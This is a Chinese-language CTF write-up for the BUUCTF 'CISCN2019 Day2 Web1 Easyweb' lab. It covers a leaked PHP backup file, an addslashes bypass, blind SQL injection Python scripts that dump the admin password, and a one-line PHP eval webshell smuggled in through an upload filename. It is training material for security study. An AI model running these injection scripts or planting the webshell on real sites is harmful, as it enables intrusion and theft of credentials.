BUUCTF [CISCN2019 总决赛 Day2 Web1] Easyweb
BUUCTF [CISCN2019 总决赛 Day2 Web1] Easyweb
考点:
robots.txt
及备份文件addslashes()
函数、通过转义闭合语句- 用户名密码盲注
- 文件上传php短标签
启动靶机:
一个登陆页面,查看源码:
<div class="clear"> </div><div class="avtar"><img src="data:image.php?id=2" width="200" height="200"/></div><form method="post" action="user.php">
发现其存在image.php?id=2
页面,尝试访问1
、2
、3
:
不同的id
值对应不同的头像,对参数测试了写注入,无果,查看writeup为源码泄露
访问:robots.txt
发现其存在*.php.bak
备份文件,其网站存在index.php
、image.php
、user.php
都对其进行访问
成功下载到image.php.bak
文件:
<?php
include "config.php";$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";$id=addslashes($id);
$path=addslashes($path);$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
源码分析:
- GET方式传入变量
id
的值,若没有则为1
- GET方式传入变量
path
的值,若没有则为空
addslashes()
函数返回在预定义字符之前添加反斜杠的字符串,单引号(')
、双引号(")
、反斜杠(\)
str_replace()
函数将两个变量内的\0
、%00
、\'
、'
都替换为空
- 将变量
$id
与$path
拼接进SQL语句
本地测试:
<?php$id = "\\0";echo $id.'<br>';$id = addslashes($id);echo $id.'<br>';$id=str_replace(array("\\0","%00","\\'","'"),"",$id);echo $id;
?>
得到结果:
也就是说,\\0
在传入变量$id
的值后,首先被转义为\0
,再经过addslashes()
函数的处理,变量$id="\\0"
,再由str_replace()
函数的替换,最终变为\
。
SQL语句变为:
select * from images where id='\' or path='{$path}'
其中\'
变成了字符串包含在两侧的'
单引号中,即变量$id
的值为:\' or path=
之后就可以从{$path}
处拼接SQL语句,但没有查询结果回显,所以尝试盲注,通过猜测数据库名长度,构造Payload以验证猜想:
?id=\\0&path=or 1=if(length(database())>1,1,-1)%23
可以得到正常的回显,可以通过盲注来实现注入,首先获当前数据库中所有表名:
if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() ),0,1))=1,1,-1)%23
此处采用Python3盲注脚本,
import requestsurl = 'http://44c9cc3b-aa02-4f64-b4ab-9e2cca44b58c.node3.buuoj.cn/image.php?id=\\0&path=or 1='
flag = ''
table_name = ''for i in range(1, 50):for c in range(127, 0, -1):payload = 'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() ),%d,1))=%d,1,-1)%%23' % (i, c)r = requests.get(url+payload)if "JFIF" in r.text:table_name += chr(c)print(table_name)break
得到了两个表:images
、users
判断用户信息应该在users
表中,继续爆出列名:
注:
因为过滤了'
单、"
双引号,所以需要将字符串转换成十六进制:
users -> 0x7573657273
构造获取列名的Payload:
if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273 ),0,1))=1,1,-1)%23
使用Python3脚本实现:
import requestsurl = 'http://44c9cc3b-aa02-4f64-b4ab-9e2cca44b58c.node3.buuoj.cn/image.php?id=\\0&path=or 1='
flag = ''
column_name = ''for i in range(1, 50):for c in range(127, 0, -1):payload = 'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273 ),%d,1))=%d,1,-1)%%23' % (i, c)r = requests.get(url+payload)if "JFIF" in r.text:column_name += chr(c)print(table_name)break
得到列名:username
、password
接下来就是常规的盲注,需要获取用户名和密码:
select group_concat(username) from users
Python3脚本:
import requestsurl = 'http://44c9cc3b-aa02-4f64-b4ab-9e2cca44b58c.node3.buuoj.cn/image.php?id=\\0&path=or 1='
flag = ''
username = ''for i in range(1, 50):for c in range(127, 0, -1):payload = 'if(ascii(substr((select group_concat(username) from users),%d,1))=%d,1,-1)%%23' % (i, c)r = requests.get(url+payload)if "JFIF" in r.text:username += chr(c)print(username)break
得到用户名为admin
select group_concat(password) from users
得到明文密码:a99ebacca074d1e47924
使用账号登陆:
admin
a99ebacca074d1e47924
进入平台,有文件上传功能,先传入正常的.txt
文件:
上传后,给出回显:
说将文件名记录在日志中,尝试通过文件名写入一句话木马:
<?php @eval($_POST['hack']); ?>
尝试使用BurpSuite抓取数据包,通过修改文件名实现写入一句话木马:
Content-Disposition: form-data; name="file"; filename="1.txt"
修改Content-Disposition
中参数filename
的值为:<?php @eval($_POST['hack']); ?>
得到回显内容:
提示不能上传php
文件,猜测是因为一句话中包含PHP的<?php
该标签,查阅资料,可以使用短标签:<?= ?>
注
:使用短标签时,需要short_open_tag=on
。
构造短标签一句话木马:<?= @eval($_POST['hack']); ?>
,传入得到回显:
已经给出了log
文件路径,使用中国蚁剑连接:
在/
目录下找到flag
:
BUUCTF [CISCN2019 总决赛 Day2 Web1] Easyweb相关推荐
- [CISCN2019 总决赛 Day2 Web1]Easyweb 1
[CISCN2019 总决赛 Day2 Web1]Easyweb 1 0x00 前言 就这道题而言,并没有单一的考察某一个知识点,而是将我们前面的 sql和upload等一些知识结合起来. 0x01 ...
- BUU CTF[CISCN2019 总决赛 Day2 Web1]Easyweb 1
文章目录 前言 一.源码审计 二.开始冻手 1.伪造Cookie 2.上传文件 3.getshell 总结 前言 没赶上2019的CISCN比赛,只能在BUU看到前人大佬们的荣光~ 不是很清楚BUU附 ...
- buuctf-[CISCN2019 总决赛 Day2 Web1]Easyweb
扫描目录 得到*.php.bak 尝试*表示的东西, index,flag之类的都没用 有image.php,顺便可以看到可能的注入点 下载下了备份文件 <?php include &qu ...
- buu-[CISCN2019 总决赛 Day2 Web1]Easyweb
扫!(或者靠经验先试) /robots.txt 看源码发现已知的php只有user.php/image.php/index.php 然后在image.php.bak里找到源码 <?php inc ...
- [CISCN2019 总决赛 Day2 Web1]Easyweb1
一.前言 在之前的文章中我提到最近一直在做sql注入相关的东西,也在一直做sql注入有关的题目.但是,事实上很多赛题他们的考点并不单一,往往需要结合着其他的知识,才能够拿到想要的结果.下面这道题就是我 ...
- [CISCN2019 华北赛区 Day2 Web1]Hack World
[CISCN2019 华北赛区 Day2 Web1]Hack World 这道题的考点貌似是sql盲注还是第一次遇到这种类型,表示太难了.. 主界面 它的意思是让我们给出文章的id,那我们就输入一试试 ...
- BUUCTF笔记之Web系列部分WriteUp(五)
1.[GWCTF 2019]枯燥的抽奖 查看源码得到check.php,访问得到代码: <?php #这不是抽奖程序的源代码!不许看! header("Content-Type: te ...
- 【web-ctf】ctf_BUUCTF_web(2)
文章目录 BUUCTF_web SQL注入 1. [RCTF2015]EasySQL 2. [CISCN2019 华北赛区 Day1 Web5]CyberPunk 3. [CISCN2019 总决赛 ...
- Buuctf -web wp汇总(一)
Buuctf -web wp汇总(一):链接 Buuctf -web wp汇总(二):链接 持续更新ing~ BuuCTF平台 文章目录 BuuCTF平台 [极客大挑战 2019]EasySQL [极 ...
- [BUUCTF]第六天训练日志
文章目录 [SUCTF 2019]EasyWeb [HFCTF2020]EasyLogin [CISCN2019 华北赛区 Day2 Web1]Hack World [SUCTF 2019]EasyW ...
最新文章
- 精心安利8个良心好用的学习神器和办公神器
- 《Head First Java》读书笔记(3) - 异常和IO
- 二叉树节点间的最大距离
- android ListView ListSelector 不起作用(被覆盖)
- ApacheCN Angular 译文集 20211114 更新
- emqtt 试用(七)追踪
- Ext.data-DataProxy/ HttpProxy/ MemoryProxy/ ScriptTagProxy
- Hibernate插入、查询、删除操作 HQL (转)
- 各种排序算法的实现直接插入排序
- Intel XTU 开机自启
- 计算机电源认证,80plus认证级别含义扫盲
- 数学建模竞赛和matlab
- 360极速浏览器打不开国内网站的一种解决方法
- SQLite 命令行客户端 sqlite3 使用指南
- java jit技术_JVM之JIT
- word公式编号及交叉引用技巧
- python 文件打开的六种方式
- vuex的五个基本属性和用法
- Motion Pro 如何使用
- 每日一个Linux命令之cat/tac/head/tail